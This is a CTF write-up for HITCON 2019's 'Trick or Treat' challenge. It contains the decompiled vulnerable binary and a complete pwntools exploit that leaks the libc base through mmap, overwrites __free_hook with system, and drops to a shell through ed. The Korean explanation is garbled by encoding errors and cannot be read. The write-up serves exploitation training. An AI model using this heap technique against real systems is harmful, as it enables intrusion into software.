2019 HITCON CTF ๐ Trick or Treat ๐
- malloc -> mmap -> libc base leak
- Free_hook -> system
- scanf call malloc & free
์ํ๋ ์ฌ์ด์ฆ๋งํผ malloc์ ์ธ์๋ก ํ ๋นํ ์ ์๊ณ ํ ๋น์ ์ฑ๊ณตํ๋ฉด chunk address๋ฅผ leak์ด ๋๋ค. malloc์ ํ ๋ top chunk ์ฌ์ด์ฆ๋ณด๋ค ํฌ๊ฒ ํ ๋นํ๊ฒ ๋๋ฉด mmap์ผ๋ก ์๋ก์ด ์์ญ์ ๋งคํํด์ ํ ๋นํ๊ฒ๋๋ค. ์ด๋ฅผ ์ด์ฉํด์ libc base ๊ฑฐ๋ฆฌ๊ฐ ์ผ์ ํด์ libc base๋ฅผ ๊ตฌํ ์ ์๊ฒ๋๋ค. ์ด๊ฒ trick์ธ ์ด์ ๊ฐ scanf์ ๊ฐ์ ๋ง์ด ๋ฃ๊ฒ ๋๋ฉด scanf ๋ด๋ถ์์ malloc๊ณผ free๋ฅผ ํธ์ถํด์ ์์ ๋ฒํผ๋ฅผ ๋ง๋ ๋ค. hook์ ๋ฎ์ด์ system(โedโ)์ ๋ง๋ค์ด์ ed๋ก escapeํ ์ ์๋ค. ๊ทธ๋ฆฌ๊ณ !/bin/sh๋ฅผ ์ ๋ ฅํ๋ฉด ์ ๋ฐ๊ฒ ๋๋ค.
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-2Ch]
__int128 size; // [rsp+8h] [rbp-28h]
__int64 v5; // [rsp+18h] [rbp-18h]
_QWORD *v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
size = 0uLL;
v5 = 0LL;
v6 = 0LL;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
write(1, "Size:", 5uLL);
__isoc99_scanf("%lu", &size);
v6 = malloc(size);
if ( v6 )
{
printf("Magic:%p\n", v6);
for ( i = 0; i <= 1; ++i )
{
write(1, "Offset & Value:", 0x10uLL);
__isoc99_scanf("%lx %lx", &size + 8);
v6[*(&size + 1)] = v5;
}
}
_exit(0);
}
exploit.py
from pwn import *
e = ELF('./trick_or_treat')
p = process('./trick_or_treat')
libc = e.libc
p.sendlineafter('Size:','99999999') # mmap to libc leak
p.recvuntil(':')
leak = int(p.recvline().strip(),16) # chunk address
log.info(hex(leak))
libc_base = leak + 100003824
log.info(hex(libc_base))
free_hook = libc_base + libc.symbols['__free_hook']
log.info(hex(free_hook))
system = libc_base + libc.symbols['system']
log.info(hex(system))
free_hook_offset = (free_hook - leak) / 8
log.info(hex(free_hook_offset))
p.sendlineafter('Offset & Value:',hex(free_hook_offset) + ' ' + hex(system))
p.sendlineafter('Offset & Value:','A'*10000) # scanf call malloc -> free
p.sendline('ed')
p.sendline('!/bin/sh')
p.interactive()